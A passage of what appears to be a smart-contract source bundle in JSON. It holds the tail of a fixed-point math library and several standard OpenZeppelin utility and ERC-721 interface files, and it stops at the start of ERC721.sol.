b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
